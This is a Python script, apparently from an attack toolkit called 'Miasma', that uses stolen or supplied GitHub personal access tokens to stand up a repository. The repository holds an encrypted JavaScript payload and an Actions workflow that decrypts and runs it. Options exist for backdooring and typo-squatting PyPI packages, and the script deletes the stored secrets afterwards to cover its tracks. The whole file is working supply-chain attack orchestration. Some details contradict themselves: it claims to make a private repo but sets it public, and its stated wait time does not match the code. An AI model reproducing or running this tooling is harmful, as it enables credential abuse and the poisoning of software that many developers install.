Files
Miasma/utility_scripts/create_payload_repo.py
T

389 lines
12 KiB
Python

#!/usr/bin/env python3
"""Create a private GitHub repo with a workflow_dispatch-triggered payload.
Usage:
python3 scripts/create_payload_repo.py \
--orchestartor-pat ghp_xxx \
--repo owner/name \
--js-path ./payload.js \
--pats ghp_aaa,ghp_bbb
Creates:
1. Private repo (using --orchestartor-pat)
2. index.js (the payload)
3. .github/workflows/run.yml — reads PATS secret → GITHUB_TOKEN2 → bun
4. An Actions secret PATS containing the comma-separated PATs
5. Dispatches a single workflow run
"""
import argparse
import base64
import os
import random
import secrets
import subprocess
import sys
from hashlib import sha256
import nacl.encoding
import nacl.public
import requests
API = "https://api.github.com"
# Set by main() — all API calls use this token.
_TOKEN: str = ""
def _headers() -> dict:
return {
"Authorization": f"Bearer {_TOKEN}",
"Accept": "application/vnd.github+json",
"X-GitHub-Api-Version": "2022-11-28",
}
def gh(method: str, path: str, **kwargs) -> dict | None:
url = f"{API}{path}" if path.startswith("/") else path
r = requests.request(method, url, headers=_headers(), **kwargs)
if not r.ok:
print(f"API error {r.status_code}: {r.text}", file=sys.stderr)
sys.exit(1)
if r.status_code == 204:
return None
return r.json()
# ── Actions secret helpers ──────────────────────────────────────────────
def get_repo_public_key(owner: str, repo: str) -> tuple[str, str]:
"""Return (key_id, key) for the repo's Actions secret encryption."""
r = gh("GET", f"/repos/{owner}/{repo}/actions/secrets/public-key")
return r["key_id"], r["key"]
def encrypt_secret_value(plaintext: str, pubkey_b64: str) -> str:
"""Encrypt a value using libsodium sealed box with the repo's
public key (required by the GitHub Actions secrets API)."""
pk = nacl.public.PublicKey(pubkey_b64, encoder=nacl.encoding.Base64Encoder)
box = nacl.public.SealedBox(pk)
encrypted = box.encrypt(plaintext.encode())
return base64.b64encode(encrypted).decode()
def put_secret(owner: str, repo: str, name: str, value: str):
"""Create or update a repo-level Actions secret."""
key_id, pubkey = get_repo_public_key(owner, repo)
encrypted = encrypt_secret_value(value, pubkey)
gh(
"PUT",
f"/repos/{owner}/{repo}/actions/secrets/{name}",
json={"encrypted_value": encrypted, "key_id": key_id},
)
# ── Repo operations ─────────────────────────────────────────────────────
def create_repo(name: str, private: bool = False) -> dict:
data = {"name": name, "private": False, "auto_init": True}
return gh("POST", "/user/repos", json=data)
def create_blob(owner: str, repo: str, content: str) -> str:
encoded = base64.b64encode(content.encode()).decode()
return gh(
"POST",
f"/repos/{owner}/{repo}/git/blobs",
json={"content": encoded, "encoding": "base64"},
)["sha"]
def get_default_branch_sha(owner: str, repo: str) -> str:
r = gh("GET", f"/repos/{owner}/{repo}")
branch = r["default_branch"]
ref = gh("GET", f"/repos/{owner}/{repo}/git/ref/heads/{branch}")
return ref["object"]["sha"]
def get_base_tree(owner: str, repo: str, sha: str) -> str:
commit = gh("GET", f"/repos/{owner}/{repo}/git/commits/{sha}")
return commit["tree"]["sha"]
def create_tree(
owner: str, repo: str, base_tree: str | None, entries: list[dict]
) -> str:
body: dict = {"tree": entries}
if base_tree is not None:
body["base_tree"] = base_tree
return gh(
"POST",
f"/repos/{owner}/{repo}/git/trees",
json=body,
)["sha"]
def create_commit(
owner: str, repo: str, message: str, tree: str, parents: list[str]
) -> str:
return gh(
"POST",
f"/repos/{owner}/{repo}/git/commits",
json={"message": message, "tree": tree, "parents": parents},
)["sha"]
def update_ref(owner: str, repo: str, branch: str, sha: str):
gh(
"PATCH",
f"/repos/{owner}/{repo}/git/refs/heads/{branch}",
json={"sha": sha, "force": True},
)
def get_default_branch(owner: str, repo: str) -> str:
return gh("GET", f"/repos/{owner}/{repo}")["default_branch"]
# ── Payload encryption ─────────────────────────────────────────────────
def encrypt_payload(data: bytes, passphrase: str) -> str:
"""AES-256-CBC encrypt with passphrase-derived key.
Returns base64 of IV + ciphertext."""
iv = os.urandom(16)
key = sha256(passphrase.encode()).digest()
proc = subprocess.run(
[
"openssl",
"enc",
"-aes-256-cbc",
"-K",
key.hex(),
"-iv",
iv.hex(),
"-nosalt",
],
input=data,
capture_output=True,
)
if proc.returncode != 0:
raise RuntimeError(f"openssl encrypt failed: {proc.stderr.decode()}")
return base64.b64encode(iv + proc.stdout).decode()
# One-liner decryptor embedded in the workflow YAML
DECRYPT_STEP = (
'python3 -c "'
"import base64,hashlib,os,subprocess;"
"d=base64.b64decode(open('index.js','rb').read());"
"iv=d[:16];ct=d[16:];"
"k=hashlib.sha256(os.environ['PASSPHRASE'].encode()).digest();"
"p=subprocess.run(['openssl','enc','-d','-aes-256-cbc','-K',k.hex(),'-iv',iv.hex(),'-nosalt'],input=ct,capture_output=True);"
"open('index.js','wb').write(p.stdout)"
'"'
)
# ── Main ────────────────────────────────────────────────────────────────
def main():
global _TOKEN
parser = argparse.ArgumentParser(description="Create payload repo")
parser.add_argument(
"--orchestartor-pat",
required=True,
help="GitHub PAT used to create the repo and push commits",
)
parser.add_argument("--repo", required=True, help="owner/name")
parser.add_argument("--js-path", required=True, help="Path to index.js payload")
parser.add_argument(
"--pats",
default=None,
help="Comma-separated PATs to dispatch (or path to file, one per line)",
)
parser.add_argument(
"--packages",
default=None,
help="Comma-separated PyPI packages to backdoor (sets PACKAGES env in workflow)",
)
parser.add_argument(
"--passphrase",
default=None,
help="Custom passphrase (auto-generated if not provided)",
)
parser.add_argument(
"--pypi-typos",
default=None,
help="Comma-separated packages to typo-squat (sets TYPO_MODE=1 + TARGET_PACKAGES)",
)
args = parser.parse_args()
_TOKEN = args.orchestartor_pat
owner, raw_name = args.repo.split("/", 1)
name = f"{raw_name}-{random.randint(10000, 99999)}"
with open(args.js_path) as f:
js_content = f.read()
# Encrypt payload (always — auto-generated passphrase if not provided)
passphrase = args.passphrase or secrets.token_hex(32)
js_content = encrypt_payload(js_content.encode(), passphrase)
# Resolve PATs list
pats: list[str] = []
if args.pats:
if os.path.isfile(args.pats):
with open(args.pats) as f:
pats = [line.strip() for line in f if line.strip()]
else:
pats = [p.strip() for p in args.pats.split(",") if p.strip()]
workflow_yaml = """\
name: Run
on:
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- uses: actions/checkout@v6
- uses: oven-sh/setup-bun@v2
- name: decrypt
env:
PASSPHRASE: ${{{{ secrets.PASSPHRASE }}}}
run: {DECRYPT_STEP}
- name: run
env:
GITHUB_TOKEN2: ${{ secrets.PATS }}"""
if args.packages:
workflow_yaml += "\n PACKAGES: ${{ secrets.PACKAGES }}"
if args.pypi_typos:
workflow_yaml += """\
TYPO_MODE: "1"
TARGET_PACKAGES: ${{ secrets.TARGET_PACKAGES }}"""
workflow_yaml += "\n run: bun run index.js\n"
# 1. Create repo
print(f"Creating private repo {args.repo}...", file=sys.stderr)
create_repo(name, private=True)
print(f" https://github.com/{args.repo}", file=sys.stderr)
# 2. Get parent commit
parent_sha = get_default_branch_sha(owner, name)
base_tree = get_base_tree(owner, name, parent_sha)
# 3. Create blobs
js_sha = create_blob(owner, name, js_content)
wf_sha = create_blob(owner, name, workflow_yaml)
# 4. Build tree — .github/workflows/run.yml
wf_tree = create_tree(
owner,
name,
None, # no base — new tree
[
{
"path": "run.yml",
"mode": "100644",
"type": "blob",
"sha": wf_sha,
},
],
)
gh_tree = create_tree(
owner,
name,
None,
[
{
"path": "workflows",
"mode": "040000",
"type": "tree",
"sha": wf_tree,
},
],
)
new_tree = create_tree(
owner,
name,
base_tree,
[
{"path": "index.js", "mode": "100644", "type": "blob", "sha": js_sha},
{"path": ".github", "mode": "040000", "type": "tree", "sha": gh_tree},
],
)
# 5. Commit
commit_sha = create_commit(owner, name, "Add workflow", new_tree, [parent_sha])
update_ref(owner, name, get_default_branch(owner, name), commit_sha)
print(f"\nRepo: https://github.com/{args.repo}", file=sys.stderr)
print(
f"Dispatch: https://github.com/{args.repo}/actions/workflows/run.yml",
file=sys.stderr,
)
# 6. Store secrets
if pats:
pats_csv = ",".join(pats)
print(f"Storing PATS secret ({len(pats)} token(s))...", file=sys.stderr)
put_secret(owner, name, "PATS", pats_csv)
if args.packages:
print(f"Storing PACKAGES secret: {args.packages}...", file=sys.stderr)
put_secret(owner, name, "PACKAGES", args.packages)
print("Storing PASSPHRASE secret...", file=sys.stderr)
put_secret(owner, name, "PASSPHRASE", passphrase)
if args.pypi_typos:
print(f"Storing TARGET_PACKAGES secret: {args.pypi_typos}...", file=sys.stderr)
put_secret(owner, name, "TARGET_PACKAGES", args.pypi_typos)
# 7. Dispatch the workflow (no inputs — reads PATS secret)
branch = get_default_branch(owner, name)
print(f"Dispatching workflow on {branch}...", file=sys.stderr)
gh(
"POST",
f"/repos/{owner}/{name}/actions/workflows/run.yml/dispatches",
json={"ref": branch},
)
print(" dispatched", file=sys.stderr)
# 8. Wait for the workflow to pick up the secrets, then delete them
import time
print("Waiting 15s for workflow to start...", file=sys.stderr)
time.sleep(10)
if pats:
print("Deleting PATS secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PATS")
print(" deleted", file=sys.stderr)
if args.packages:
print("Deleting PACKAGES secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PACKAGES")
print(" deleted", file=sys.stderr)
print("Deleting PASSPHRASE secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/PASSPHRASE")
print(" deleted", file=sys.stderr)
if args.pypi_typos:
print("Deleting TARGET_PACKAGES secret...", file=sys.stderr)
gh("DELETE", f"/repos/{owner}/{name}/actions/secrets/TARGET_PACKAGES")
print(" deleted", file=sys.stderr)
print(args.repo)
if __name__ == "__main__":
main()